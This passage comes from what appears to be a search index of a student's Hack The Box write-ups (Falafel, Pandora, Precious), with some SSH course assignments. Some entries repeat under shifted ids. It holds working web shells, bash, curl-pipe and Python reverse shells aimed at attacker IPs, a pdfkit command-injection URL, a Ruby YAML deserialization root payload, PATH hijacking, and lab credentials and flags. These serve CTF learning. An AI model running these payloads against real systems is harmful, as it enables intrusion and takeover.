disk 8, 1 Sep 9 12:08 /dev/sda1","breadcrumbs":"Máquinas Linux » HTB-Linux-Hard-Falafel » 3.2. Group disk","id":"107","title":"3.2. Group disk"},"108":{"body":"Com a ajuda da ferramente debugfs (ext2/ext3/ext4 file system debugger). Podemos ver ou manipular uma partição, um disco ou o seu conteúdo. Podemos assim facilemente ver a flag root.txt, mas a nós o que nos interessa é vir a ser root! Por sorte, em /root/.ssh existem keys para entrar por ssh, já autorizadas... nem percisamos de fazer mais nada. É só copiar e usar a id_rsa: debugfs /dev/sda1\ndebugfs: cd /root/.ssh\ndebugfs: cat id_rsa # copy the content...\n# Exit the debugfs cd /tmp\nnano id_rsa # paste the content...\nchmod 600 id_rsa\nssh -i id_rsa root@localhost cat /home/moshe/user.txt\n#> c866575ed5999e1a878b1494fcb1f9d3\ncat /root/root.txt\n#> 23b79200448c62ffd6f8f2091c001fa1","breadcrumbs":"Máquinas Linux » HTB-Linux-Hard-Falafel » 3.3. debugfs","id":"108","title":"3.3. debugfs"},"109":{"body":"Sejam bem-vindos! Neste espaço, irei partilhar alguns dos trabalhos que realizarei durante o meu curso de Cibersegurança, em português, como é habitual. Espero que possam acompanhar e aprender comigo. Sylvain \"JavaliMZ\" Júlio","breadcrumbs":"Trabalhos do Curso de Ciber Segurança » Trabalhos do curso de Cibersegurança","id":"109","title":"Trabalhos do curso de Cibersegurança"},"11":{"body":"Web Server potenciais users A passear pelo site, não se vê nada de interessante a não ser a página about.html que poderá ter potenciais usuários de uma eventual empresa (Já que é um Active directory ou um Domain Controller) Numa empresa, os usuários costumam ser identificados por primeira letra dos primeiros nomes, e ultimo nome completo. junto, ou separado por um ponto. Isto é extremamente comum... Por isso, vamos extrair esse potenciais usuários para um ficheiro, e daí fazer um arquivo com usernames. Web Server get users cat users-full-name\n#> Fergus Smith\n#> Hugo Bear\n#> Steven Kerb\n#> Shaun Coins\n#> Bowie Taylor\n#> Sophie Driver cat users-full-name | tr '[A-Z]' '[a-z]'\n#> fergus smith\n#> hugo bear\n#> steven kerb\n#> shaun coins\n#> bowie taylor\n#> sophie driver cat users-full-name | tr '[A-Z]' '[a-z]' | awk '{print substr ($1,0,1) $2}'\n#> fsmith\n#> hbear\n#> skerb\n#> scoins\n#> btaylor\n#> sdriver cat users-full-name | tr '[A-Z]' '[a-z]' | awk '{print substr ($1,0,1) \".\" $2}'\n#> f.smith\n#> h.bear\n#> s.kerb\n#> s.coins\n#> b.taylor\n#> s.driver cat users-full-name | tr '[A-Z]' '[a-z]' | awk '{print substr ($1,0,1) $2}' > users cat users-full-name | tr '[A-Z]' '[a-z]' | awk '{print substr ($1,0,1) \".\" $2}' >> users Temos agora uma lista de usuários potenciais para efectuar a próxima tentativa de attack. AS-REP Roasting Attack!.","breadcrumbs":"Máquinas Windows » HTB-Windows-Easy-Sauna » 2. Web Server","id":"11","title":"2. Web Server"},"110":{"body":"T02 - Acesso Remoto (SSH) 1. Instalação do OpenSSH do cliente 2. Instalação do OpenSSH do lado do servidor 3. Ligação entre o cliente e o servidor 4. Execução de comandos no servidor 5. Criação de um utilizador no servidor 6. Acesso ao servidor através do utilizador criado 7. Acesso de utilizadores guest por parte dos camaradas de curso 8. Mudar o porto lógico de acesso do servidor 9. Verificação do acesso ao servidor SSH 10. Conclusão Para este trabalho, iremos usar o Arch(Linux) por WSL2 do Windows. Para instalar o OpenSSH, basta executar o seguinte comando: yay openssh # O Yay é um AUR Helper. É necessário selecionar a opção respetiva do OpenSSH para instalá-lo. Neste momento, já se pode usar o comando ssh enquanto cliente para nos conectarmos a um servidor SSH, sem mais configurações.","breadcrumbs":"Trabalhos do Curso de Ciber Segurança » Acesso Remoto (SSH) » 1. Instalação do OpenSSH do cliente","id":"110","title":"1. Instalação do OpenSSH do cliente"},"111":{"body":"O OpenSSH no sistema RockyOS vem instalado por defeito. Inclusive, o servidor inicia automaticamente com o sistema. No entanto, caso o software não estiver instalado, basta executar o seguinte comando: sudo yum install openssh Além de o instalar, será necessário ativar o serviço do OpenSSH. Para isso, basta executar o seguinte comando: systemctl start sshd # Inicia o serviço do OpenSSH\nsystemctl enable sshd # Indica ao sistema para iniciar o serviço do OpenSSH sempre que o sistema iniciar","breadcrumbs":"Trabalhos do Curso de Ciber Segurança » Acesso Remoto (SSH) » 2. Instalação do OpenSSH do lado do servidor","id":"111","title":"2. Instalação do OpenSSH do lado do servidor"},"112":{"body":"Por fim, para ligar o cliente ao servidor, basta executar o seguinte comando: # Do lado do cliente (Arch)\nssh javali@192.168.56.101 # ssh
\" . shell_exec($_REQUEST['cmd']) . \"\";\n?> # Para diretamente ter o reverse shell:\n& /dev/tcp/10.10.14.230/443 0>&1'\");?> # Executar o nc em modo de escuta para receber o shell:\nkali@kali: > nc -lvnp 443 # Em outra consola, executar o ficheiro que \"uploadamos\" (Eu escolhi chamar o ficheiro de shell.php...)\nkali@kali: > curl http://localhost/pandora_console/images/shell.php","breadcrumbs":"Máquinas Linux » HTB-Linux-Easy-Pandora » 3.6. RCE com usuário matt","id":"87","title":"3.6. RCE com usuário matt"},"88":{"body":"script /dev/null -c bash\nexport TERM=xterm\nexport SHELL=bash # Ctrl + Z\nstty raw -echo; fg\nreset\nstty rows 40 columns 170 # Tem corresponder ao vosso ecrã (stty -a numa consola do Kali)","breadcrumbs":"Máquinas Linux » HTB-Linux-Easy-Pandora » 3.6.1. Estabilizar o Reverse Shell","id":"88","title":"3.6.1. Estabilizar o Reverse Shell"},"89":{"body":"Agora que somos matt, podemos analisar o tal binário pandora_backup tar No meio desses caracteres todos, podemos ver um clienttar -cvf /root/... Este parece ser um simples comando \" tar \" que se colou a uma palavra \"client\" por não haver caracteres ASCII pelo meio. Significa que, quem fez o binário, aparentemente, usou um simples comando \" tar \" para fazer o backup, mas não usou o caminho completo para chamar a ferramenta. O que isto quer dizer?","breadcrumbs":"Máquinas Linux » HTB-Linux-Easy-Pandora » 4. Escalada de privilégio","id":"89","title":"4. Escalada de privilégio"},"9":{"body":"Resolução da máquina Sauna\nMáquina Easy (hackthebox.com)\nby JavaliMZ - 15/09/2021 1. Enumeração 1.1. Nmap 2. Web Server 3. AS-REP Roasting Attack 3.1. GetNPUsers.py 3.1.1. Pwn3d! 4. Primeiro pé na máquina 5. BloodHound 6. Escalada de Privilégios Como sempre, para qualquer PenTest, precisamos saber qual é o alvo. E o primeiro passo para isso é enumerar as portas da máquina! Uma das melhores e mais conhecidas ferramentas para enumerar as portas de uma máquina ou conjunte de máquina é o NMAP.","breadcrumbs":"Máquinas Windows » HTB-Windows-Easy-Sauna » 1. Enumeração","id":"9","title":"1. Enumeração"},"90":{"body":"Sabemos que o binário pandora_backup usa o tar. Onde se encontra isso? which tar\n# /usr/bin/tar Ok. Mas como é que o computador sabe que está ali o programa? Existe uma variável no shell que indica isso. Chama-se PATH: echo $PATH\n# /usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin É assim que o computador procura o programa, primeiro procura em \" /usr/local/sbin \", depois em \" /usr/local/bin \", e assim sucessivamente. Todas as pastas estão separadas pelos dois pontos \":\". Mas esta variável é apenas uma variável que o nosso shell actual têm, que facilmente se altera. export PATH=.:$PATH\necho $PATH\n# .:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin Adicionamos um ponto \".\" à primeira pasta onde o computador vai procurar pelo programa. Significa que o computador vai procurar no diretório atual, e só depois nos outros diretórios. Assim, basta criar um executável de nome \" tar \" numa pasta qualquer, e executar o binário pandora*backup a partir da mesma posição, para o linux assumir que o \"**_tar***\" correto é o nosso próprio ficheiro \" tar \". E, já que o binário pandora_backup é SUID, e o seu proprietário é \" root \", significa que podemos escrever o que nos apetecer para que seja executado como \"** root **\". O mais fácil é chamar um bash novo... pathhijacknotwork","breadcrumbs":"Máquinas Linux » HTB-Linux-Easy-Pandora » 4.1. Path Hijacking","id":"90","title":"4.1. Path Hijacking"},"91":{"body":"Sinceramente não sei, o que sei é que pelo ssh funcionou nesta máquina... Quando vi que não funcionou, procurei outra solução. criei uma chave id_rsa só para ter melhor conexão, conectei-me via SSH e o mesmo exploit funcionou... OK. Mistérios do Hacking! ssh-keygen\ncd /home/matt/.ssh\ncat id_rsa.pub > authorized_keys\ncat id_rsa\n# Copiar o conteúdo e colar num novo ficheiro no nosso kali\nkali@kali: > nano id_rsa\nkali@kali: > # Colar e gravar\nkali@kali: > chmod 600 id_rsa\nkali@kali: > ssh matt@10.10.11.136 -i id_rsa E agora, exatamente da mesma posição, alterando primeiro a variável PATH, optemos uma shell root root Agora já somos ROOT! Só falta as flags... Obrigador por lerem o writeup! Até à próxima Criadores da máquina: TheCyberGeek e dmw0ng","breadcrumbs":"Máquinas Linux » HTB-Linux-Easy-Pandora » 4.1.1. Não funcionou! Porquê?","id":"91","title":"4.1.1. Não funcionou! Porquê?"},"92":{"body":"Writeup: Precious EASY machine (hackthebox.com) by Sylvain \"JavaliMZ\" Júlio - 30/12/2022 1. Introduction 2. Enumeration 3. Exploit - Remote Code Execution 4. Foothold 5. Privilege Escalation 6. Conclusion This write-up was created for two purposes. Normally, my write-ups are in Portuguese, but this time, I am writing in English because I am in a Cyber Security degree, and I need to complete an assignment for my English class during the 2022 winter break. The assignment was to summarize and explain three good articles about a topic I like, but I didn't know what to choose, so I decided to make the \"Precious\" machine from HTB and read some articles about the machine's vulnerabilities. Additionally, my teacher Maria's goal is to keep us interested and active in English, so I think I am respecting the overall rules =). For this time, I will not be discussing possible ways to find something or explaining different concepts that are not related to the machine, because it is already a lot of work to write and think in English. I will only be talking about the machine and the way to gain Administrator access to the machine. I will try to make analogies to the real world so that my teacher does not get lost. I will do my best.","breadcrumbs":"Máquinas Linux » HTB-Linux-Easy-Precious » 1. Introduction","id":"92","title":"1. Introduction"},"93":{"body":"Like every machine, we need to know how to access it. HTB gives us the IP address, but we don't know anything else. The IP address is like the address of a house, but we need to figure out which doors are open to get in. In a machine, these doors are called \"ports\" (in reference to the ports of ships that allow the arrival of goods from the outside world). There are always 65,535 ports in all machines. It's a lot!! But we don't need to knock on all the ports manually... For that, we have a tool called nmap . First, we need to confirm that we can reach the IP: ping -c 1 10.10.11.189 # PING 10.10.11.189 (10.10.11.189) 56(84) bytes of data. # 64 bytes from 10.10.11.189: icmp_seq=1 ttl=63 time=72.5 ms # --- 10.10.11.189 ping statistics --- # 1 packets transmitted, 1 received, 0% packet loss, time 0ms # rtt min/avg/max/mdev = 72.530/72.530/72.530/0.000 ms We send an ICMP packet, and the target machine sends it back. With the ping command (like ping pong), we know the machine is alive and we can start scanning the ports. We noticed one more thing with the ping command. The result gives us the TTL (Time to Live) which refers to the number of hops that a packet is allowed to make before it is discarded. When a packet travels through the Internet, every time it passes through a router, the router decrements this value by 1. For Windows, TTL starts at 128, and for Linux, TTL starts at 64. We can use this information to approximate the Operating System of the target machine. In this case, it is likely a Linux machine. It is important for future commands on the target machine. Enumeration all ports With the response of the nmap command, we know that on the target machine, we have 2 ports open: port 22 and port 80. Normally, port 22 is for an SSH server and port 80 is for a web server. The SSH server is a remote secure shell, used to connect my command line with the machine when we connect with the right credentials. We don't have any credentials, so we can't do anything here. We just have one more port, the web server. Before we start looking at the website, we can do a more powerful scan, using nmap as well. Enumeration targeted ports This new command gives us more information. The web server redirects us to http://precious.htb/ , but that website doesn't exist. We know the site is on this IP, but the web server wants us to access it through the URL http://precious.htb/ . We can do that by telling our machine that the URL http://precious.htb/ corresponds to the IP of the target machine. For that, we can edit the file /etc/hosts as a root (super user) and add the line: echo \"10.10.11.189\\tprecious.htb\" >> /etc/hosts Now, we can access the website: Website It is a website that converts websites to PDF. We can do some basic testing to get more information about the website. We can try to serve a web server and enter the new URL to see what happens: python -m http.server 80 This is a really simple web server, but it is enough for us. We can enter our URL (http://10.10.14.144/) in the field on the website and see what happens: pdf Download We can see that the website download a PDF file. Visually, it is just a simples PDF. But if we use a tool like exiftool to see the metadata of the PDF, we can see more information... pdf Metadata","breadcrumbs":"Máquinas Linux » HTB-Linux-Easy-Precious » 2. Enumeration","id":"93","title":"2. Enumeration"},"94":{"body":"We can see that the PDF Creator is a tool called pdfkit v0.8.6 . This version is vulnerable and we can get a RCE (Remote Code Execution). We can see more about this vulnerability here . To exploit this vulnerability, it's simple! We just need to add to the URL a parameter called ?user and give a \"space\" but encoded (a space like %20 is the URL code for a space of the space bar). Next, we need to concatenate a bash code (because it is a Linux Machine) with the special symbol ` (a code between 2 of this symbol in bash get execute before the rest of the command outside the symbols) around the code for execute it like if we are in a command line shell. The command we will try is a single ping to our machine to test if we really got remote code execution. The final URL will be: http://10.10.14.144/?name=%20ping -c 1 10.10.14.144 # Set up a listener to capture the ping\nsudo tcpdump -i tun0 icmp We got a ping back! I also create a tiny script in Python to have a fast way to try remote code execution: import requests while True: cmd = input(\"[fAkeSh3ll ~] > \") data = { 'url': f\"http://10.10.14.144/?name=%20`{cmd}`\", } response = requests.post('**http://precious.htb/**', data=data, verify=False) Now, we can try to get a reverse shell. A reverse shell is a type of connection to get a shell on the target machine. But the way we got this is tricky. We need to find a way for the target machine to send its own shell to our machine. It's like trying to enter a house, and we need to find a way for the house to open its own door to give us access... The command that worked on the machine was this: python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"10.10.14.144\",443));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn(\"/bin/bash\")' So, if we want to do that on the Website, we need to send this url: http://10.10.14.144/?name=%20`python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"10.10.14.144\",443));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn(\"/bin/bash\")'` The query needs to be that exact and we need to adapt the IP and the port. We also need to set up a listener to capture the shell. Reverse Shell","breadcrumbs":"Máquinas Linux » HTB-Linux-Easy-Precious » 3. Exploit - Remote Code Execution","id":"94","title":"3. Exploit - Remote Code Execution"},"95":{"body":"We are in the machine. But we have low privilege. We need more!! HUAAHAHA!! Digging through the folders and files, we'll find credentials for a service used by the user henry. henry credentials And like 99,9% of people, we can try if the user henry has the same password for is user account. And it works! su henry\n# Q3c1AqGHtoI0aXAYFH","breadcrumbs":"Máquinas Linux » HTB-Linux-Easy-Precious » 4. Foothold","id":"95","title":"4. Foothold"},"96":{"body":"We got a little more privileges. But it is not enough!! WE NEED MORE AGAIN!!!! Sudo permissions The sudo command is a command to execute another command as root privileges. And sudo -l inform us that the user henry can execute /usr/bin/ruby /opt/update_dependencies.rb as root. When we examine the update_dependencies.rb file, we realize that the script use \"YAML.load\" to load that file. That means the file will be deserialized. deserialization is like converting the syntax of the content of the file into object in ruby (in this case). But like in a lot of languages, deserialization can be dangerous... And in this case, we can create our own YAML file to execute a command as root. We can find a good article here but for python, and here in ruby. But the code we will use is here . Code execution as root We just create a file caller test.txt for confirm that the code is working. And it works! We can execute command as root. Now, we need a way to get root shell. They are so many ways, but I like this one: I will change permissions on the /usr/bin/bash program to execute it as the owner of the program. The owner of the program is root. So, if we execute the program, we will get a root shell. The code we will use is: ---\n- !ruby/object:Gem::Installer i: x\n- !ruby/object:Gem::SpecFetcher i: y\n- !ruby/object:Gem::Requirement requirements: !ruby/object:Gem::Package::TarReader io: &1 !ruby/object:Net::BufferedIO io: &1 !ruby/object:Gem::Package::TarReader::Entry read: 0 header: \"abc\" debug_output: &1 !ruby/object:Net::WriteAdapter socket: &1 !ruby/object:Gem::RequestSet sets: !ruby/object:Net::WriteAdapter socket: !ruby/module 'Kernel' method_id: :system git_set: chmod +s /usr/bin/bash method_id: :resolve Now, we just need to execute the sudo command, and the bash program will be altered. And we can execute bash as root with a special flag: sudo /usr/bin/ruby /opt/update_dependencies.rb\nbash -p Root shell","breadcrumbs":"Máquinas Linux » HTB-Linux-Easy-Precious » 5. Privilege Escalation","id":"96","title":"5. Privilege Escalation"},"97":{"body":"This machine was easy to get in, and the privilege escalation was a little more complex. But it was a good machine to learn more about Ruby and YAML. I hope you enjoyed this writeup. Fun fact: the machine is called Precious because it is a reference to the ruby programming language. Both vulnerabilities are related to the ruby language.","breadcrumbs":"Máquinas Linux » HTB-Linux-Easy-Precious » 6. Conclusion","id":"97","title":"6. Conclusion"},"98":{"body":"Resolução da máquina Falafel 1.0.0.1. Máquina HARD (hackthebox.com) 1.0.0.2. by JavaliMZ - 09/09/2021 1. Enumeração 1.1. Nmap 2. WebSite 2.1. Fuzzing the website 2.2. SQLi 2.3. RCE 2.3.1. Reverse Shell 3. PrivEsc 3.1. Group video 3.2. Group disk 3.3. debugfs","breadcrumbs":"Máquinas Linux » HTB-Linux-Hard-Falafel » 1. Enumeração","id":"98","title":"1. Enumeração"},"99":{"body":"Na fase de enumeração, a ferramenta nmap tem um lugar imprescindível!! É possível enumerar portas manualmente, com um simples for loop e um echo para o /dev/tcp/
\" . shell_exec($_REQUEST['cmd']) . \"\";\n?> Resumindo: O ficheiro tem obrigatoriamente que terminar por \".png\" O servidor apache interpreta código php O wget da página de upload corta os nomes muito grandes a partir do caractere 236. Posto isso, se renomearmos o nosso ficheiro malicioso por um arquivo com (232 carateres + .php + .png), o nome do arquivo irá ser cortado a partir do 236º caracter e ficará assim: (232 chars + .php) cp shell.php $(msf-pattern_create -l 232).php.png\n# Agora que temos o número exato de caracteres, poderíamos ter chamado o ficheiro com 232 \"A\"... mas na altura não me lembrei e o nome está um pouco agressivo para os olhos! Resultado: http://10.10.14.17/Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6A.php.png uploaded web shell Note the path of the file and go to the webshell Ok, conseguimos enviar um arquivo, que aparentemente agora está na máquina alvo com a extensão .php. E onde está? Bem, no resultado o comando wget, vemos que antes de fazer o download do arquivo, fez um cd para uma pasta. E sabemos ainda que existe uma rota uploads... Ao juntar tudo, podemos tentar ir para a seguinte url(no meu caso): http://10.10.10.73/uploads/0909-2054_bd1a63d419ed6bf6/Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6A.php?cmd=whoami whoami web shell Temos Execução de código remoto!","breadcrumbs":"Máquinas Linux » HTB-Linux-Hard-Falafel » 2.3. RCE","id":"102","title":"2.3. RCE"},"103":{"body":"A forma mais fácil de ter um reverse shell sem ter muitos problemas com caracteres especiais e assim é partilhar um ficheiro com o código do reverse shell lá dentro, para depois fazer um curl e pipeá-lo com um bash (sim pipeá-lo, neste blog, este verbo existe xD) Criei então um ficheiro com o nome rev.html contendo o seguinte código: #!/bin/bash bash -i >& /dev/tcp/10.10.14.17/443 0>&1 Partilhe então um servidor http com este ficheiro, para que através do RCE, poder dar um curl ao ficheiro, e pipeá-lo com bash sudo python3 -m http.server 80 # On one terminal\nsudo nc -lvnp 443 # On another one http://10.10.10.73/uploads/0909-2054_bd1a63d419ed6bf6/Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6A.php?cmd=curl%20http://10.10.14.17/rev.html|bash","breadcrumbs":"Máquinas Linux » HTB-Linux-Hard-Falafel » 2.3.1. Reverse Shell","id":"103","title":"2.3.1. Reverse Shell"},"104":{"body":"Já dentro da máquina, ao vasculhar os ficheiros, pode-se encontrar credenciais em /var/www/html/connection.php (remote) www-data@falafel:/var/www/html$ cat connection.php\n Estas credenciais server para fazer login ao MySQL, mas se reutilizar-mos as credenciais para fazer login por ssh, vemos que as credenciais são válidas!","breadcrumbs":"Máquinas Linux » HTB-Linux-Hard-Falafel » 3. PrivEsc","id":"104","title":"3. PrivEsc"},"105":{"body":"Esta máquina é um CaptureTheFlag LOL... O próximo passo é completamente irrealista, mas não deixa de ser interessante. Esta máquina não tem mais vulnerabilidades. Ok, então onde estão as credenciais do usuário \"yossi\"?! Estão no ecrã... com o commando \"w\" podemos ver que o yossi está actualmente logado fisicamente na máquina w\n#> 22:31:32 up 10:23, 2 users, load average: 0.00, 0.00, 0.00\n#> USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT\n#> yossi tty1 12:08 10:22m 0.06s 0.06s -bash\n#> moshe pts/1 10.10.14.17 22:06 0.00s 0.06s 0.00s w O usuário com o qual estamos neste momento (moshe) está no grupo \"video\". Os usuário deste grupo pode ver o que está a ser transmitido para o ecrã. E para tirar uma captura de ecrã sem nenhum recurso adicional, pode-se ir à fonte mesmo. Isto é, capturar o que está em /dev/fb0 com um simples cat. Para ler este arquivo (que vem em formato RAW), temos de saber as dimenções da tela, pois este formato não diz nada sobre dimenções, apenas escreve todos os dados numa linha só e \"tá feito\". As dimenções actuais do ecrã estão sempre definidas em /sy/class/graphics/fb0/virtual_size cat /dev/fb0 > /tmp/screen.raw\ncat /sys/class/graphics/fb0/virtual_size\n#> 1176,885 Recupere a captura de ecrã para o kali nc 10.10.14.17 443 < /tmp/screen.raw # Target Machine\nnc -lvnp 443 > screen.raw # kali Machine Abrir o ficheiro com ajuda do GIMP, definido manualmente que este ficheiro é um ficheiro RAW com 1176,885 de dimenções... opennig image raw format with GIMP Select size of raw image Password yossi Entre agora por ssh com o usuário yossi e a sua credencial (que de passagem só se vê porque o yossi errou primeiro ao introduzi-la e por \"grande sorte\" ainda está a vista na tela looooool)","breadcrumbs":"Máquinas Linux » HTB-Linux-Hard-Falafel » 3.1. Group video","id":"105","title":"3.1. Group video"},"106":{"body":"for group in $(groups); do echo -e \"\\n\\n\\n[*] Archive with group $group permition:\\n\"; find / -group $group 2>/dev/null; done Este commando permite-nos enumerar todos os ficheiro no qual pertence a cada grupo no qual está o usuário. E assim, vemos que o usuário yossio em que estamos logados, tem permissões através do grupo \"disk\" de leitura e escritura sobre /dev/sda1 e muito mais... Este /dev/sda1 é muito simplesmente o disco rígido na qual está instalado o prórpio sistema operativo. Mas não dá para abrir assim... fdisk -l\n#> Disk /dev/sda: 8 GiB, 8589934592 bytes, 16777216 sectors\n#> Units: sectors of 1 * 512 = 512 bytes\n#> Sector size (logical/physical): 512 bytes / 512 bytes\n#> I/O size (minimum/optimal): 512 bytes / 512 bytes\n#> Disklabel type: dos\n#> Disk identifier: 0x01590ad6\n#>\n#> Device Boot Start End Sectors Size Id Type\n#> /dev/sda1 * 2048 14680063 14678016 7G 83 Linux\n#> /dev/sda2 14682110 16775167 2093058 1022M 5 Extended\n#> /dev/sda5 14682112 16775167 2093056 1022M 82 Linux swap / Solaris ll /dev/sda1\n#> brw-rw---- 1 root disk 8, 1 Sep 9 12:08 /dev/sda1","breadcrumbs":"Máquinas Linux » HTB-Linux-Hard-Falafel » 3.2. Group disk","id":"106","title":"3.2. Group disk"},"107":{"body":"Com a ajuda da ferramente debugfs (ext2/ext3/ext4 file system debugger). Podemos ver ou manipular uma partição, um disco ou o seu conteúdo. Podemos assim facilemente ver a flag root.txt, mas a nós o que nos interessa é vir a ser root! Por sorte, em /root/.ssh existem keys para entrar por ssh, já autorizadas... nem percisamos de fazer mais nada. É só copiar e usar a id_rsa: debugfs /dev/sda1\ndebugfs: cd /root/.ssh\ndebugfs: cat id_rsa # copy the content...\n# Exit the debugfs cd /tmp\nnano id_rsa # paste the content...\nchmod 600 id_rsa\nssh -i id_rsa root@localhost cat /home/moshe/user.txt\n#> c866575ed5999e1a878b1494fcb1f9d3\ncat /root/root.txt\n#> 23b79200448c62ffd6f8f2091c001fa1","breadcrumbs":"Máquinas Linux » HTB-Linux-Hard-Falafel » 3.3. debugfs","id":"107","title":"3.3. debugfs"},"108":{"body":"Sejam bem-vindos! Neste espaço, irei partilhar alguns dos trabalhos que realizarei durante o meu curso de Cibersegurança, em português, como é habitual. Espero que possam acompanhar e aprender comigo. Sylvain \"JavaliMZ\" Júlio","breadcrumbs":"Trabalhos do Curso de Ciber Segurança » Trabalhos do curso de Cibersegurança","id":"108","title":"Trabalhos do curso de Cibersegurança"},"109":{"body":"T02 - Acesso Remoto (SSH) 1. Instalação do OpenSSH do cliente 2. Instalação do OpenSSH do lado do servidor 3. Ligação entre o cliente e o servidor 4. Execução de comandos no servidor 5. Criação de um utilizador no servidor 6. Acesso ao servidor através do utilizador criado 7. Acesso de utilizadores guest por parte dos camaradas de curso 8. Mudar o porto lógico de acesso do servidor 9. Verificação do acesso ao servidor SSH 10. Conclusão Para este trabalho, iremos usar o Arch(Linux) por WSL2 do Windows. Para instalar o OpenSSH, basta executar o seguinte comando: yay openssh # O Yay é um AUR Helper. É necessário selecionar a opção respetiva do OpenSSH para instalá-lo. Neste momento, já se pode usar o comando ssh enquanto cliente para nos conectarmos a um servidor SSH, sem mais configurações.","breadcrumbs":"Trabalhos do Curso de Ciber Segurança » Acesso Remoto (SSH) » 1. Instalação do OpenSSH do cliente","id":"109","title":"1. Instalação do OpenSSH do cliente"},"11":{"body":"Web Server potenciais users A passear pelo site, não se vê nada de interessante a não ser a página about.html que poderá ter potenciais usuários de uma eventual empresa (Já que é um Active directory ou um Domain Controller) Numa empresa, os usuários costumam ser identificados por primeira letra dos primeiros nomes, e ultimo nome completo. junto, ou separado por um ponto. Isto é extremamente comum... Por isso, vamos extrair esse potenciais usuários para um ficheiro, e daí fazer um arquivo com usernames. Web Server get users cat users-full-name\n#> Fergus Smith\n#> Hugo Bear\n#> Steven Kerb\n#> Shaun Coins\n#> Bowie Taylor\n#> Sophie Driver cat users-full-name | tr '[A-Z]' '[a-z]'\n#> fergus smith\n#> hugo bear\n#> steven kerb\n#> shaun coins\n#> bowie taylor\n#> sophie driver cat users-full-name | tr '[A-Z]' '[a-z]' | awk '{print substr ($1,0,1) $2}'\n#> fsmith\n#> hbear\n#> skerb\n#> scoins\n#> btaylor\n#> sdriver cat users-full-name | tr '[A-Z]' '[a-z]' | awk '{print substr ($1,0,1) \".\" $2}'\n#> f.smith\n#> h.bear\n#> s.kerb\n#> s.coins\n#> b.taylor\n#> s.driver cat users-full-name | tr '[A-Z]' '[a-z]' | awk '{print substr ($1,0,1) $2}' > users cat users-full-name | tr '[A-Z]' '[a-z]' | awk '{print substr ($1,0,1) \".\" $2}' >> users Temos agora uma lista de usuários potenciais para efectuar a próxima tentativa de attack. AS-REP Roasting Attack!.","breadcrumbs":"Máquinas Windows » HTB-Windows-Easy-Sauna » 2. Web Server","id":"11","title":"2. Web Server"},"110":{"body":"O OpenSSH no sistema RockyOS vem instalado por defeito. Inclusive, o servidor inicia automaticamente com o sistema. No entanto, caso o software não estiver instalado, basta executar o seguinte comando: sudo yum install openssh Além de o instalar, será necessário ativar o serviço do OpenSSH. Para isso, basta executar o seguinte comando: systemctl start sshd # Inicia o serviço do OpenSSH\nsystemctl enable sshd # Indica ao sistema para iniciar o serviço do OpenSSH sempre que o sistema iniciar","breadcrumbs":"Trabalhos do Curso de Ciber Segurança » Acesso Remoto (SSH) » 2. Instalação do OpenSSH do lado do servidor","id":"110","title":"2. Instalação do OpenSSH do lado do servidor"},"111":{"body":"Por fim, para ligar o cliente ao servidor, basta executar o seguinte comando: # Do lado do cliente (Arch)\nssh javali@192.168.56.101 # ssh
\" . shell_exec($_REQUEST['cmd']) . \"\";\n?> # Para diretamente ter o reverse shell:\n& /dev/tcp/10.10.14.230/443 0>&1'\");?> # Executar o nc em modo de escuta para receber o shell:\nkali@kali: > nc -lvnp 443 # Em outra consola, executar o ficheiro que \"uploadamos\" (Eu escolhi chamar o ficheiro de shell.php...)\nkali@kali: > curl http://localhost/pandora_console/images/shell.php","breadcrumbs":"Máquinas Linux » HTB-Linux-Easy-Pandora » 3.6. RCE com usuário matt","id":"86","title":"3.6. RCE com usuário matt"},"87":{"body":"script /dev/null -c bash\nexport TERM=xterm\nexport SHELL=bash # Ctrl + Z\nstty raw -echo; fg\nreset\nstty rows 40 columns 170 # Tem corresponder ao vosso ecrã (stty -a numa consola do Kali)","breadcrumbs":"Máquinas Linux » HTB-Linux-Easy-Pandora » 3.6.1. Estabilizar o Reverse Shell","id":"87","title":"3.6.1. Estabilizar o Reverse Shell"},"88":{"body":"Agora que somos matt, podemos analisar o tal binário pandora_backup tar No meio desses caracteres todos, podemos ver um clienttar -cvf /root/... Este parece ser um simples comando \" tar \" que se colou a uma palavra \"client\" por não haver caracteres ASCII pelo meio. Significa que, quem fez o binário, aparentemente, usou um simples comando \" tar \" para fazer 